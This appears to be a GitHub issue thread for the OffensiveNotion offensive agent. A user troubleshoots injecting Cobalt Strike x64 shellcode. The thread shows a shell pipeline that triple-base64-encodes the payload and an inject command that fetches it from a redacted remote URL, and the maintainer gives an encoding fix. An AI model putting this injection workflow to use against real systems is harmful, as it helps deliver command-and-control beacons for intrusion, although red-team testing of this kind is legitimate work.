mttaggart/OffensiveNotion

inject shellcode error

h2so0o4 opened this issue · 5 comments

cobaltstrike shellcode x64 inject
image

error : Invalid byte 10, offset 76.

Hi! In order for us to help, we need to know how the shellcode was generated and encoded.

Hi! In order for us to help, we need to know how the shellcode was generated and encoded.

cobaltstrike 4.3
payload:C# x64
kali:cat payload.cs| cut -d "{" -f2 | cut -d "}" -f1 | tail -n+2 | base64 | base64 | base64 > note.txt
notion: inject self http://xxxxxx 3

Hi! In order for us to help, we need to know how the shellcode was generated and encoded.

test enviroment : Win11 & Win10

Hmm. Although the injector should account for this, I would try with base64 -w 0 for each of those.

Hmm. Although the injector should account for this, I would try with base64 -w 0 for each of those.

After listening to your suggestion, no more error will be reported, showing "Injection completed!" But my beacon is not online
image
image

I don't know what went wrong